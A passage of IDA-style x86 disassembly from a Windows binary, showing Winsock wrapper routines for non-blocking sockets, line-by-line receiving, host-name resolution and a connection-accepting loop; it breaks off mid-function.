		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DD4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		nop
		call	near ptr 27C08B0h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DD4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F70
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E84
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
